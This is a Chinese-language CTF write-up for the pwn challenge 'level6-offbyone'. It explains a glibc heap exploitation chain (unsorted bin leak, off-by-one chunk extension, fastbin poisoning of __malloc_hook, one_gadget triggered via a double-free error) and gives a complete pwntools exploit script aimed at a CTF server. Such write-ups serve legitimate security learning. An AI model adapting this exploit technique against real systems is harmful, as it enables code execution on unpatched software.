MENU

Catalog

    *CTF unsorted bin leak & off by one & (UAF | double free) level6-offbyone Writeup

    November 23, 2020 • Read: 517 • Pwn

    这道题个人觉得比较麻烦,这道题是保护全开的。
    步骤
    1.unsorted bin leak 出 main_arena + 88。
    这里有点要注意的,在这之前认为unsorted bin的地址如果之后被申请之后FD和BK会置空,现在看来似乎并不会。
    2.为什么要四个chunk?
    四个chunk分别有以下作用:
    a:用于off by one覆盖b的size;
    b:用于Chunk Extend,Extend到c的位置,用于控制c的FD;
    c:控制fastbin的引子;
    d:防止unsorted bin与top chunk合并,因为Chunk Extend的长度是超过fastbin的长度。
    3.结尾的delete_note(4)是什么意思?
    本来应该是触发malloc函数,但是malloc函数中如果0的数量不多,那么可能one_gadget无法达成条件。
    所以就衍生出一种利用方法就是,两次free同一个地址,会爆double free错误,这时候因为堆栈比较深(libc_free -> _int_free -> malloc -> __malloc_hook),所以堆上的0会比较多,利用成功率会更高。
    但是这里double free的条件难以构造,但是经过测试发现delete_note(4)也可以触发报错,于是成功getshell

    # -*- coding: utf-8 -*-
    from pwn import *
    from LibcSearcher import *
    #r = process('./level6-offbyone')
    r = remote('pwn.sixstars.team', 22506)
    context.log_level = "debug"
    def add_note(size, content):
        r.sendlineafter(">> ", "1")
        r.sendlineafter("Size:", str(size))
        r.sendafter("Content:", content)
    
    def show_note(idx):
        r.sendlineafter(">> ", "2")
        r.sendlineafter("Input your id:", str(idx))
    
    def edit_note(idx, content):
        r.sendlineafter(">> ", "3")
        r.sendlineafter("Input your id:", str(idx))
        r.sendafter("Content:", content)
    
    def delete_note(idx):
        r.sendlineafter(">> ", "4")
        r.sendlineafter("Input your id:", str(idx))
    
    #leak
    add_note(0x88, 'a' * 0x88) #91
    add_note(0x88, 'b' * 0x88) #91
    delete_note(0)
    add_note(0x8, 'a' * 0x8)
    show_note(0)
    malloc_hook_addr = u64((r.recvuntil('\n')[-7:-1]).ljust(8, '\x00')) - 0xE8
    libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
    libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
    delete_note(0)
    delete_note(1)
    #off by one
    add_note(0x18, 'a' * 0x18) #0
    add_note(0x18, 'b' * 0x18) #1
    add_note(0x68, 'c' * 0x68) #2
    add_note(0x18, 'd' * 0x18) #3
    edit_note(0, 'a' * 0x18 + '\x91')
    delete_note(2)
    delete_note(1)
    add_note(0x88, 'a' * 0x18 + p64(0x71) + p64(malloc_hook_addr - 0x23) + '\n') #1
    #UAF
    add_note(0x68, 'c' * 0x68) #2
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    one_gadget = libc_base + one[2]
    add_note(0x68, 'a' * 0x13 + p64(one_gadget) + '\n') #4
    #delete_note(1)
    delete_note(4)
    r.interactive()
    
    Archives QR Code Tip
    QR Code for this page
    Tipping QR Code